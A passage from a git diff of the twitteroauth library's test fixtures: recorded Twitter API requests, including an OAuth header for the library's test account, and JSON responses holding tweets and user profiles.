https:\\\/\\\/t.co\\\/KYsIapnzTI\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646\",\"indices\":[26,33]},{\"text\":\"\\u0645\\u063a\\u0641\\u0631\\u0629\",\"indices\":[60,66]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/KYsIapnzTI\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254131886697431045\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3327219576,\"id_str\":\"3327219576\",\"name\":\"\\u0639\\u064a\\u0648\\u0646 \\u0627\\u0644\\u0634\\u0631\\u0642\\u064a\\u0629 \\ud83c\\uddf8\\ud83c\\udde6\",\"screen_name\":\"SharqiyaOyun\",\"location\":\"\",\"description\":\"| \\u0645\\u0646\\u0635\\u0629 #\\u0625\\u0639\\u0644\\u0627\\u0645\\u064a\\u0629 \\u0644\\u0646\\u0634\\u0631 #\\u0623\\u062d\\u062f\\u0627\\u062b \\u0648 #\\u0641\\u0639\\u0627\\u0644\\u064a\\u0627\\u062a \\u0648 #\\u0625\\u0639\\u0644\\u0627\\u0646\\u0627\\u062a #\\u0627\\u0644\\u0645\\u0646\\u0637\\u0642\\u0629_\\u0627\\u0644\\u0634\\u0631\\u0642\\u064a\\u0629 #\\u062a\\u0647\\u062f\\u0641 \\u0644\\u0625\\u064a\\u062c\\u0627\\u062f \\u0625\\u0639\\u0644\\u0627\\u0645 #\\u0646\\u0627\\u062c\\u062d #\\u0645\\u0633\\u0624\\u0648\\u0644 \\u062a\\u062c\\u0627\\u0647 #\\u0648\\u0637\\u0646\\u0647 \\u0648\\u0645\\u062c\\u062a\\u0645\\u0639\\u0647 \\u0648\\u0641\\u0642\\u0627\\u064b #\\u0644\\u0631\\u0624\\u064a\\u0629 2030 \\u0628\\u0640 #\\u0625\\u0634\\u0631\\u0627\\u0641 \\u0641\\u0631\\u064a\\u0642 #\\u0625\\u0639\\u0644\\u0627\\u0645\\u064a\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":56770,\"friends_count\":202,\"listed_count\":97,\"created_at\":\"Sun Aug 23 21:50:25 +0000 2015\",\"favourites_count\":3920,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":39511,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1179520814296784896\\\/Dj5_aP9F_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1179520814296784896\\\/Dj5_aP9F_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3327219576\\\/1587401418\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1660,\"favorite_count\":638,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ar\"},\"is_quote_status\":false,\"retweet_count\":1660,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ar\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511171031041,\"id_str\":\"1254206511171031041\",\"text\":\"@PeterSchiff Peter they\\u2019ve got an old pic of you. Get them to update with your Twitter pic. You look older and wise\\u2026 https:\\\/\\\/t.co\\\/IUo7JDo2u9\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"PeterSchiff\",\"name\":\"Peter Schiff\",\"id\":56562803,\"id_str\":\"56562803\",\"indices\":[0,12]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/IUo7JDo2u9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254206511171031041\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1253764294421987329,\"in_reply_to_status_id_str\":\"1253764294421987329\",\"in_reply_to_user_id\":56562803,\"in_reply_to_user_id_str\":\"56562803\",\"in_reply_to_screen_name\":\"PeterSchiff\",\"user\":{\"id\":39978586,\"id_str\":\"39978586\",\"name\":\"Steve JB\",\"screen_name\":\"rhcp_steve\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":8,\"friends_count\":34,\"listed_count\":0,\"created_at\":\"Thu May 14 11:59:30 +0000 2009\",\"favourites_count\":136,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":151,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}],\"search_metadata\":{\"completed_in\":0.104,\"max_id\":1254206512068734977,\"max_id_str\":\"1254206512068734977\",\"next_results\":\"?max_id=1254206511171031040&q=twitter&include_entities=1\",\"query\":\"twitter\",\"refresh_url\":\"?since_id=1254206512068734977&q=twitter&include_entities=1\",\"count\":15,\"since_id\":0,\"since_id_str\":\"0\"}}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testGetStatusesMentionsTimeline.json b/vendor/abraham/twitteroauth/tests/fixtures/testGetStatusesMentionsTimeline.json index a03beac0c5..3e9c968084 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testGetStatusesMentionsTimeline.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testGetStatusesMentionsTimeline.json @@ -1,49 +1,49 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/mentions_timeline.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"XBG94YLieQDRW%2FSohCUWyw7cCjs%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "6295", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:49 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:49 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_R2D1tzBO5vr\/p0hAkM5zpQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786110971872163; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-app-rate-limit-limit": "100000", - "x-app-rate-limit-remaining": "99989", - "x-app-rate-limit-reset": "1587934976", - "x-connection-hash": "fe1724a702fbcac93da2de2b62ba3fe9", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "75", - "x-rate-limit-remaining": "73", - "x-rate-limit-reset": "1587861623", - "x-response-time": "72", - "x-transaction": "0050abfc0028f502", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "[{\"created_at\":\"Tue Oct 09 09:16:34 +0000 2018\",\"id\":1049589427318743040,\"id_str\":\"1049589427318743040\",\"text\":\"@oauthlibtest wawa\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":385051447,\"id_str\":\"385051447\",\"name\":\"\\u041d\\u0438\\u043a\\u043e\\u043b\\u0430 \\u041d\\u0438\\u043a\\u043e\\u043b\\u043e\\u0432\\u0441\\u043a\\u0438\",\"screen_name\":\"AmigoNiko\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2,\"friends_count\":3,\"listed_count\":0,\"created_at\":\"Tue Oct 04 19:50:08 +0000 2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":10,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"tl\"},{\"created_at\":\"Mon Oct 10 21:11:07 +0000 2016\",\"id\":785588495129739264,\"id_str\":\"785588495129739264\",\"text\":\"@oauthlibtest lol\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":107232049,\"id_str\":\"107232049\",\"name\":\"\\ud83c\\udf10 Mao \\u2192 \\ud83c\\udf0d\",\"screen_name\":\"De_Li_Yang\",\"location\":\"My Twitter account's profile location is the longest ever because it's very cool, ok? I don't really know how I wrote all of this... but I like it :)!\",\"description\":\"\\u00b0+\\u00b0 https:\\\/\\\/t.co\\\/rZwgF3TQar\",\"url\":\"https:\\\/\\\/t.co\\\/d65WAlDNlH\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/d65WAlDNlH\",\"expanded_url\":\"http:\\\/\\\/this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.never.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.okbye.com\",\"display_url\":\"\\u2026i.am.just.gonna.finish.this.okbye.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/rZwgF3TQar\",\"expanded_url\":\"http:\\\/\\\/paypal.me\\\/DeLi\",\"display_url\":\"paypal.me\\\/DeLi\",\"indices\":[4,27]}]}},\"protected\":false,\"followers_count\":2212,\"friends_count\":21,\"listed_count\":4,\"created_at\":\"Thu Jan 21 22:49:03 +0000 2010\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":385791,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":true,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/2456970211\\\/xngkt99c24et9k7pco13_normal.gif\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/2456970211\\\/xngkt99c24et9k7pco13_normal.gif\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/107232049\\\/1375640549\",\"profile_link_color\":\"05BFF2\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"moderator\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Mon Jul 29 10:33:20 +0000 2013\",\"id\":361796578241028097,\"id_str\":\"361796578241028097\",\"text\":\"@lakotadlustig @oauthlibtest @twittyapp DM\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"lakotadlustig\",\"name\":\"Lakota Lustig \\ud83c\\udf31\",\"id\":868067922,\"id_str\":\"868067922\",\"indices\":[0,14]},{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[15,28]},{\"screen_name\":\"twittyapp\",\"name\":\"Twitty\",\"id\":1465708922,\"id_str\":\"1465708922\",\"indices\":[29,39]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":361795965159608321,\"in_reply_to_status_id_str\":\"361795965159608321\",\"in_reply_to_user_id\":868067922,\"in_reply_to_user_id_str\":\"868067922\",\"in_reply_to_screen_name\":\"lakotadlustig\",\"user\":{\"id\":421392342,\"id_str\":\"421392342\",\"name\":\"Evert De Spiegeleer\",\"screen_name\":\"eds1999\",\"location\":\"Belgium\",\"description\":\"20. European. Engineer. Developer. Here for everything space-related.\",\"url\":\"https:\\\/\\\/t.co\\\/m19HQXRy3P\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/m19HQXRy3P\",\"expanded_url\":\"http:\\\/\\\/github.com\\\/evertdespiegeleer\",\"display_url\":\"github.com\\\/evertdespiegel\\u2026\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":433,\"friends_count\":1175,\"listed_count\":14,\"created_at\":\"Fri Nov 25 21:58:06 +0000 2011\",\"favourites_count\":1765,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5209,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1226456092378529793\\\/eoJ-xOeW_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1226456092378529793\\\/eoJ-xOeW_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/421392342\\\/1424992018\",\"profile_link_color\":\"009999\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Mon Apr 29 07:12:03 +0000 2013\",\"id\":328768625957814272,\"id_str\":\"328768625957814272\",\"text\":\"@oauthlibtest 1\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":1331868230,\"id_str\":\"1331868230\",\"name\":\"Den TSVETOK\",\"screen_name\":\"denTsvetok\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":\"http:\\\/\\\/t.co\\\/jvqJ6VIgn7\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/jvqJ6VIgn7\",\"expanded_url\":\"http:\\\/\\\/123.ru\",\"display_url\":\"123.ru\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":4,\"friends_count\":419,\"listed_count\":0,\"created_at\":\"Sat Apr 06 15:34:15 +0000 2013\",\"favourites_count\":1,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":27,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/3576594159\\\/63b3f9afe2d0643356ee3951c66f11a8_normal.jpeg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/3576594159\\\/63b3f9afe2d0643356ee3951c66f11a8_normal.jpeg\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Mon Apr 01 11:10:53 +0000 2013\",\"id\":318681871691157504,\"id_str\":\"318681871691157504\",\"text\":\"@oauthlibtest test\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":532290601,\"id_str\":\"532290601\",\"name\":\"TestVakoms\",\"screen_name\":\"TestVakoms\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1,\"friends_count\":5,\"listed_count\":0,\"created_at\":\"Wed Mar 21 14:56:15 +0000 2012\",\"favourites_count\":20,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":560,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/3662702134\\\/f87a2bcff8ec621239ef03662cae9a0a_normal.jpeg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/3662702134\\\/f87a2bcff8ec621239ef03662cae9a0a_normal.jpeg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/532290601\\\/1365162944\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Sep 09 06:11:54 +0000 2012\",\"id\":244679505170550785,\"id_str\":\"244679505170550785\",\"text\":\"@oauthlibtest - -\\\"\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for 